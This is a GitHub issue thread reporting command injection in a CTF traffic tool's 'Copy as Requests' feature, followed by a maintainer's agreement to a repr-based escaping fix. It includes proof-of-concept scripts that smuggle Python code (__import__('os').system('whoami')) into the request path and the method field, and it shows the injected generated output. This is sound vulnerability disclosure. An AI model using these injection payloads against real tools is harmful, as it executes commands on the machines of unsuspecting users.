[bug] Command injection in "Copy as ..." functionality
Samdaaman opened this issue · 2 comments
Steps to reproduce
- Send a request with
"
in the URL (not url escaped) and your payload you want to run as python3 code - Wait for someone to "Copy as Requests" and run your script like a normal attacker would
- Pop their host
The chances of someone exploiting this are quite low - as it relies on them not seeing the command injection in the "Copy as ..." script. Also in pretty much every CTF this would violate the rules.
Fix
Recommend escaping "
characters (or preventing them entirely) in certain request properties or use another way of generating the templates as there is likely other places where this is an issue. Could use repr
to add the quote characters and escape automatically like this
print(repr("a\"\'b"))
'a"\'b'
Example
Request (screenshot)
Request (python3 code)
req = (
f'GET /"+__import__("os").system("whoami")+"/path HTTP/1.1\n'
f'Host: 192.168.1.107:1337\n'
f'\n'
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.107', 1337))
sock.sendall(req.encode())
res = sock.recv(4096)
print(res.decode())
Copy as Requests Output (note the command injection in the request.path
)
import os
import requests
import sys
host = sys.argv[1]
s = requests.Session()
s.headers = {}
data = {}
s.get("http://{}:1337/"+__import__("os").system("whoami")+"/path".format(host), data=data)
Thanks for the report. We were actually having dinner with the ICC candidates when you posted this, so it sparked a fun discussion on whether this is a vuln.
Ultimately, I could totally see something like this working in ECSC, so it is a valid concern, and the tool should protect you here imo.
Eventually, we want to move to a "real" template engine, but for now, we'll go with the proposed fix. If you want to make a pull request, I'll accept it, so you'll show up in the contributer list. Otherwise I'll patch it later when I find the time.
Thanks!
Sweet - will get a PR up this week. Glad I could provide some riveting dinner conversations haha.
Interestingly you are also able to inject via the request.command
parameter as this is never validated to be a valid request method (GET/POST..etc). I will fix this issue as well as it is essentially the same as the previous one.
Example
PoC Code
import requests
import socket
req = (
f'get(__import__("os").system("whoami"))# /path HTTP/1.1\n'
f'Host: 192.168.1.107:1337\n'
f'\n'
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.107', 1337))
sock.sendall(req.encode())
res = sock.recv(4096)
print(res.decode())
Tulip Output
import os
import requests
import sys
host = sys.argv[1]
headers = {}
data = {}
requests.get(__import__("os").system("whoami"))#("http://{}:1337/path".format(host), data=data, headers=headers)